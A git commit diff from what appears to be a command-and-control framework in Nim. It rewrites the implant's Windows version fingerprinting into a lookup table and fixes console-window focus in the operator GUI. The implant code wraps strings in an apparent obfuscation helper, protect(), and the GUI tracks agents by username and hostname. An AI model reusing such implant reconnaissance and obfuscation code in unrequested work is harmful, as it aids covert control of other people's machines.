Improved Windows version fingerprinting and fixed console window not being focused on double-click.

This commit is contained in:
Jakob Friedl
2025-11-04 13:53:54 +01:00
parent 315b7fe50a
commit f3ddc49729
3 changed files with 92 additions and 84 deletions

View File

@@ -1,4 +1,4 @@
import winim, os, net, strutils, registry, zippy
import winim, os, net, strutils, registry, zippy, strformat
import ../../common/[types, serialize, sequence, crypto, utils]
import ../../modules/manager
@@ -69,90 +69,94 @@ proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version fingerprinting
type
ProductType = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
type
OSVersionInfoExW {.importc: protect("OSVERSIONINFOEXW"), header: protect("<windows.h>").} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
# Windows Version fingerprinting
ProductType {.size: sizeof(uint8).} = enum
UNKNOWN = "Unknown"
WORKSTATION = "Workstation"
DC = "Domain Controller"
SERVER = "Server"
WindowsVersion = object
major: DWORD
minor: DWORD
buildMin: DWORD # Minimum build number (0 = any)
buildMax: DWORD # Maximum build number (0 = any)
productType: ProductType
name: string
const VERSIONS = [
# Windows 11 / Server 2022+
# WindowsVersion(major: 10, minor: 0, buildMin: 22631, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11 23H2")),
# WindowsVersion(major: 10, minor: 0, buildMin: 22621, buildMax: 22630, productType: WORKSTATION, name: protect("Windows 11 22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 22000, buildMax: 0, productType: WORKSTATION, name: protect("Windows 11")),
WindowsVersion(major: 10, minor: 0, buildMin: 26100, buildMax: 0, productType: SERVER, name: protect("Windows Server 2025")),
WindowsVersion(major: 10, minor: 0, buildMin: 20348, buildMax: 26099, productType: SERVER, name: protect("Windows Server 2022")),
# Windows 10 / Server 2016-2019
WindowsVersion(major: 10, minor: 0, buildMin: 19041, buildMax: 19045, productType: WORKSTATION, name: protect("Windows 10 2004/20H2/21H1/21H2/22H2")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 19040, productType: WORKSTATION, name: protect("Windows 10 1809+")),
WindowsVersion(major: 10, minor: 0, buildMin: 10240, buildMax: 17762, productType: WORKSTATION, name: protect("Windows 10")),
WindowsVersion(major: 10, minor: 0, buildMin: 17763, buildMax: 17763, productType: SERVER, name: protect("Windows Server 2019")),
WindowsVersion(major: 10, minor: 0, buildMin: 14393, buildMax: 14393, productType: SERVER, name: protect("Windows Server 2016")),
WindowsVersion(major: 10, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server (Unknown Build)")),
# Windows 8.x / Server 2012
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8.1")),
WindowsVersion(major: 6, minor: 3, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012 R2")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 8")),
WindowsVersion(major: 6, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2012")),
# Windows 7 / Server 2008 R2
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows 7")),
WindowsVersion(major: 6, minor: 1, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008 R2")),
# Windows Vista / Server 2008
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows Vista")),
WindowsVersion(major: 6, minor: 0, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2008")),
# Windows XP / Server 2003
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP x64 Edition")),
WindowsVersion(major: 5, minor: 2, buildMin: 0, buildMax: 0, productType: SERVER, name: protect("Windows Server 2003")),
WindowsVersion(major: 5, minor: 1, buildMin: 0, buildMax: 0, productType: WORKSTATION, name: protect("Windows XP")),
]
proc matchesVersion(version: WindowsVersion, info: OSVersionInfoExW, productType: ProductType): bool =
if info.dwMajorVersion != version.major or info.dwMinorVersion != version.minor:
return false
if productType != version.productType:
return false
if version.buildMin > 0 and info.dwBuildNumber < version.buildMin:
return false
if version.buildMax > 0 and info.dwBuildNumber > version.buildMax:
return false
return true
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
for version in VERSIONS:
if version.matchesVersion(info, if productType == DC: SERVER else: productType): # Process domain controllers as servers, otherwise they show up as unknown
if productType == DC:
return version.name & protect(" (Domain Controller)")
else:
return version.name
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return protect("Windows 11")
else:
return protect("Windows 10")
# Unknown windows version, return as much information as possible
return fmt"Windows {$int(info.dwMajorVersion)}.{$int(info.dwMinorVersion)} {$productType} (Build: {$int(info.dwBuildNumber)})"
else:
case build:
of 20348:
return protect("Windows Server 2022")
of 17763:
return protect("Windows Server 2019")
of 14393:
return protect("Windows Server 2016")
else:
return protect("Windows Server 10.x (Build: ") & $build & protect(")")
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return protect("Windows 8.1")
else:
return protect("Windows Server 2012 R2")
of 2:
if productType == WORKSTATION:
return protect("Windows 8")
else:
return protect("Windows Server 2012")
of 1:
if productType == WORKSTATION:
return protect("Windows 7")
else:
return protect("Windows Server 2008 R2")
of 0:
if productType == WORKSTATION:
return protect("Windows Vista")
else:
return protect("Windows Server 2008")
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return protect("Windows XP x64 Edition")
else:
return protect("Windows Server 2003")
elif minor == 1:
return protect("Windows XP")
else:
discard
return protect("Unknown Windows Version")
proc getProductType(): ProductType =
# The product key is retrieved from the registry

View File

@@ -201,6 +201,10 @@ proc main(ip: string = "localhost", port: int = 37573) =
console.draw(connection)
newConsoleTable[agentId] = console
if sessionsTable.focusedConsole.len() > 0:
igSetWindowFocus_Str(sessionsTable.focusedConsole.cstring)
sessionsTable.focusedConsole = ""
# Update the consoles table with only those sessions that have not been closed yet
# This is done to ensure that closed console windows can be opened again
consoles = newConsoleTable

View File

@@ -15,6 +15,7 @@ type
agentImpersonation*: Table[string, string]
selection: ptr ImGuiSelectionBasicStorage
consoles: ptr Table[string, ConsoleComponent]
focusedConsole*: string
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
result = new SessionsTableComponent
@@ -23,6 +24,7 @@ proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]
result.agentActivity = initTable[string, int64]()
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
result.consoles = consoles
result.focusedConsole = ""
proc cmp(x, y: UIAgent): int =
return cmp(x.firstCheckin, y.firstCheckin)
@@ -39,9 +41,7 @@ proc interact(component: SessionsTableComponent) =
if not component.consoles[].hasKey(agent.agentId):
component.consoles[][agent.agentId] = Console(agent)
# Focus the existing console window
else:
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
component.focusedConsole = fmt"[{agent.agentId}] {agent.username}@{agent.hostname}"
component.selection.ImGuiSelectionBasicStorage_Clear()